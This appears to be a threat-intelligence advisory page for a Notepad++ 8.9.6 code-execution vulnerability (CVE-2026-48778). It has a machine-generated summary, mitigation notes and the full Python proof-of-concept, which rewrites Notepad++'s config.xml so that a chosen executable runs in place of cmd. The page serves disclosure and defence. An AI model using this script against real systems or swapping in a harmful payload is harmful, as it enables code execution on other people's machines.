Notepad++ 8.9.6 - Arbitrary Code Execution
Notepad++ 8.9.6 - Arbitrary Code Execution
AI Analysis
Technical Summary
CVE-2026-48778 affects Notepad++ versions up to and including 8.9.6, enabling an attacker to execute arbitrary code on affected Windows 10 and 11 systems. Exploit code is publicly available in Python, indicating the vulnerability is exploitable. No patch or official remediation guidance is provided in the available data. The vulnerability was disclosed by Kavin Jindal of Avyukt Security and is cataloged in Exploit-DB under ID 52606.
Potential Impact
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system running Notepad++ 8.9.6 or earlier on Windows 10 or 11. This could lead to compromise of the affected system depending on the privileges of the Notepad++ process.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider limiting exposure of vulnerable Notepad++ versions and monitor for updates from the vendor.
Indicators of Compromise
- exploit-code: # Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution # Date: 2026-05-30 # Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/ # Vendor Homepage: https://notepad-plus-plus.org # Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/ # Version: <= 8.9.6 # Tested on: Windows 10/11 # CVE: CVE-2026-48778 # Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9 # # Description: # Notepad++ reads <GUIConfig name="commandLineInterpreter"> from config.xml without # validation and passes it to ShellExecute when "Open Containing Folder in cmd" is # triggered. An attacker with write access to %APPDATA%\Notepad++\ can inject an # arbitrary executable path, resulting in code execution under the current user context. # In the following script, `calc.exe` has been used to demonstrate this vulnerability. import os, sys appdata = os.environ["APPDATA"] if not appdata: print("[!] APPDATA environment variable not found, exiting..") sys.exit() config_path = os.path.join(appdata, "Notepad++", "config.xml") existing = os.path.exists(config_path) if existing==True: print("[+] Found config.xml at ", config_path) else: print("config.xml not found. Ensure Notepad++ is installed and has been launched atleast once.") x = open(config_path, 'r') s = x.readlines() payload='<GUIConfig name="commandLineInterpreter">calc.exe</GUIConfig>\n' injected=False for num,i in enumerate(s, start=0): if '<GUIConfig name="commandLineInterpreter">' in i: print("[!] Injecting payload..") s[num]=payload injected=True break elif "</GUIConfigs>" in i: print("[!] Injecting payload..") s.insert(num, payload) injected=True break if not injected: print("[!] Payload injection failed.") sys.exit(1) y = open(config_path, 'w') y.writelines(s) print("[+] Payload injected successfully!") print("[+] Testing: Open Notepad++ > File > Open Containing Folder > cmd") print("[+] Calc.exe will launch instead of cmd.") print("end")
Notepad++ 8.9.6 - Arbitrary Code Execution
Description
Notepad++ 8.9.6 - Arbitrary Code Execution
Affected software
pkg:github/notepad-plus-plus/notepad-plus-plusRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-48778 affects Notepad++ versions up to and including 8.9.6, enabling an attacker to execute arbitrary code on affected Windows 10 and 11 systems. Exploit code is publicly available in Python, indicating the vulnerability is exploitable. No patch or official remediation guidance is provided in the available data. The vulnerability was disclosed by Kavin Jindal of Avyukt Security and is cataloged in Exploit-DB under ID 52606.
Potential Impact
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system running Notepad++ 8.9.6 or earlier on Windows 10 or 11. This could lead to compromise of the affected system depending on the privileges of the Notepad++ process.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider limiting exposure of vulnerable Notepad++ versions and monitor for updates from the vendor.
Technical Details
- Cve
- CVE-2026-48778
- Version
- <= 8.9.6
- Vendor
- https://notepad-plus-plus.org
- Application
- https://notepad-plus-plus.org/downloads/v8.9.6
- Author
- Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal
- Platform
- Windows 10/11
- Edb Id
- 52606
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Notepad++ 8.9.6 - Arbitrary Code Execution
# Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution # Date: 2026-05-30 # Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/ # Vendor Homepage: https://notepad-plus-plus.org # Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/ # Version: <= 8.9.6 # Tested on: Windows 10/11 # CVE: CVE-2026-48778 # Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9 # # Description: # Notepad++ reads <GU... (1626 more characters)
Threat ID: 6a1b58ece29bf47b508cc6ef
Added to database: 05/30/2026, 21:38:52 UTC
Last enriched: 06/23/2026, 17:12:34 UTC
Last updated: 07/23/2026, 20:52:07 UTC
Views: 271
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.